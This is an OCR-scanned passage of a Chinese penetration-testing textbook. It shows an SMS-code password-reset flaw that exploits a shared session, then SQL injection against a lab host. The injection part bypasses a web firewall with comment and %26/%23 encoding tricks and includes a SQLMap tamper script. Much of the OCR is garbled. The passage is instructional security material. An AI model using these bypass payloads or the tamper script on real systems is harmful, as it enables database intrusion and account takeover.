& 18000000001 

~ 重新发送（60)

已苟账号【立即登录】

图7-40 获取验证码 （ 1) 

• 在第二个TAB页面上，输入18000000002，然后单击“获取验证码”（这里

为了演示，直接将短信验证码显示在界面上）按钮，如图7-41所示。

找回密码

& 18000000002 

~ ：；：会..；；培 新发送（60)

已离账号【立即登录】

图7-41 获取验证码（2)

仅供非商业用途或交流学习使用
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• 回到第一个TAB页面，输入在第二个TAB页面中获取的验证码89205，接着

单击“确认”按钮，然后账号18000000001 的密码就己重置成功了，如图7-42

所示。

找回密码

... 18000000001 

lir 回205 a取验证码

a. •••••• 

图7-42 重置了目标用户的密码

服务器端判断短信验证码是否正确的方法：判断POST传递的短信验证码和

session中传递的短信验证码是否一致，如果一致，则重置用户密码。重置密码的流程

如下所示。

• 第一个TAB页面获取短信验证码时，服务器端向session中写入code=99947 。. 第二个TAB页面获取短信验证码时，服务器端向session中写入code=89205 。. 由于两个TAB页面使用的是同一个客户端浏览器，所以第二个code值会覆

盖第一个code值。

• 当服务器端判断时， POST传递的code=89205，而session中code=89205，所

以通过了检测，此时利用第二个TAB页面（即发送到自己手机里）的短信

验证码成功地在第一个TAB页面重置了目标账户的密码。

7.2.5 SOL 注入

对一个网站进行渗透测试时，当访问id=l ’ id=l and 1=1,id=l and 1=2时，根据程

序的返回结果，可以判断该页面存在SQL注入漏洞，如图7-43～图7-45所示。

‘二 σ(j) 192. 1 68.251.10／叫11.php?id• 1%27 

Warning: mysqli_fetch_arrayQ expects parameter 1 t。 be mysqli_result, b。。lean given in C:\phpStudy\WWW飞sqli.php 。n line 9 

图7-43 访问id=l 『

仅供非商业用途或交流学习使用
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• σ r (j) 192.168.251.101饲忡忡？id ＝阳归nd%201 = 1

test · 1111 

图7-44 访问id=l and 1=1 

• σ f (j) 四168.251.10／州州？id = 1 %2伽nd%却1 =2 

图7-45 访问id=l and 1=2 

在使用order by和union语句尝试注入时，笔者发现网站存在某防护软件，直接阻

断了访问，如图7-46和图7-47所示。

陌l92.i68~2s1.10 <qii;hP?id= 1 %2<k;r de函。马石03

您所提交的精求富奇不合法的警戳， 已掖网站筐理员设置拦戳’

图7-46 使用order by语句

您所撞变的遭l.l<~葡不合法的鲁缸， 已被网捕富理员设置笠戳！

图7-47 使用union语句

为了寻找该防护软件的绕过方法，需要判断该软件的工作原理，具体测试步骤

如下所示。

• 访问id=l union，程序报错，但是语句没被拦截，如图7-48所示。
（一一一－一• σ l旦;12.1哩~51约~＂·巴芒~叫生一一

Warning: mysqli_fetch _ arrayQ expects parameter 1 to be mysqli result, b。。lean given in C·\phpStudy飞阶IWW\sqli php on line 9 

图7-48 访问id=l union 

访问id=1 union select ， 语句被拦截，如图7-49所示。

A旦旦旦旦：；o吧坐巴士旦旦n，。n知Osei回

您所组交的调求合智不合法的参慰， 己锚网捕富理员设置拦lit!

图7-49 访问id=l union select 

仅供非商业用途或交流学习使用
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说明程序不是基于关键宇拦截的，而是基于关键字的组合进行判断。

. 访问id=l union/**/select ， 语句被拦截，如图7-50所示。

。 1 92. 1 68.25 1 . 1 0/sqli.php 'id= 1 %20unio时“／刷刷

您~fill变的精事含有不合洼的参啦， B辙网站筐理员设置结富！！

图7-50 访问id= 1 union/** /select 

访问id=l union%26select, %26是＆的url编码格式，使用＆是为了检查该防

护软件是否会将1 union&select拆分成l union和select，从返回结果可以看出，防

护软件果然对1 union&select进行了拆分，从而导致判断出错，如图7-51所示。

+ σ E亘至51旦旦出生~%旦旦旦~ct~

图7-51 访问id= 1 union%26select 

访问id=l union/*%26*/select，程序报错，此时已经绕过了防护软件的检测，

如图7-52所示。

← σ应~54/sqli.ph

Warning: mysqliJetch_arrayQ expects parameter 1 阳 be mysqli_result, b。。lean given in C·\phpS阳dy飞，WWW飞$qli.php 。n line 9 

图7-52 访问id=l union／削Vo26*/select 

访问id=l union/*%26*/selec俨%26*/l,user(),3 ,4，页面返回了user（）的结果，

说明己经成功绕过了防护，如图7-53所示。

• σ i①凹168.川阳明li.php?id=-1%20union／悦的S阳V'%26*/1,us叫M

ro。t@localhost 4 

图7-53 成功使用union语句

• 访问id=-1 union/*%26* /select/*%26* /I ,table name,3,4/*%26* /from/ *%26* I 

information schema. tables/*%26* /where/*%26 */table schema='test’，尝试获取

数据库表名，但是语句被拦截，如图7-54所示。
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。 192.1曲251 .10/,qli.php/;do· 1%2队mion/"%2的制ed／唱26'/I table＿，，.，时 34／唱26节『001/＇%昂＇finlo•maHon sζhematobl＜.＇＜／唱26"/wl阳时唱26"/lablc ＂＇＂＂旧 o'll\2]1e<;l'l;?7

您pff握茸的请求富育不吉洼的事慰， 巳描网挡’理员迫置拦截t

图7 - 54 被拦截

尝试将／＊%26＊／变成／＊%26%23町， %23是数据库注释符＃的url编码格式，结

果成功绕过防护，如图7-55所示。

r 一一 一一 一‘- C CD 192.16&251. 10／吨＂·ρhp ？；《J • I %20•mion/‘ %26%23"/s<IO<l/'%26'/l "able ＂川>e,3,4%201i.om%2Q;nf创m•Mn >eh凹＂.!Obi归%Xlwhcre%20table sζhema•%27test%盯

user> : 4 

图7-55 成功绕过防护

• 因为存在防护软件，所以在默认情况下，使用SQLMap不能获取数据，如图

7-56所示。

r i画（：＼WINDOWS飞system32\cmd.exe －口×

图7-56 使用SQLMAP注入

• 编写一个名为test.py的tamper脚本刊立于SQLMap 目录下的tamper 目录下〉，

它的作用是将空格转换为／＊%26%23町，代码如下所示。

# ! /u s 「／ b i n / env python 
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Copy「ight (c) 2006-2018 sqlmap developer、 s (http://sqlmap . o「g/)

See the file ’ LICENSE ’卡0「 copying pe 「mission

f r、om lib.co「e.enums impo「t PRIORITY 

_p「io「ity_ = PRIORITY . HIGHEST 

de卡 dependencies():

pass 

def tamper、（ payload ， 忡kwa 「gs):

Replaces UNION ALL SELECT with UNION SELECT 

>> tamper、（＇－ 1 UNION ALL SELECT ’) 
’-1 UNION SELECT ’ 

r、etu 「n payload .r、eplace （＂”，”／ ＊%26%23 ＊ ／”） if payload else payload 

然后使用SQLMap进行注入，语句如下所示。

python sqlmap.py -u ” http: I /192 .168 . 2si.10/ sqli. php ?id=l”－－tampe「＝test

利用该tamper即可成功获取数据，如图7-57所示。

国C飞时时DOWS'飞＇＞＇＂＇m32\<md刷e －口×

图7-57 利用tampe「获取数据
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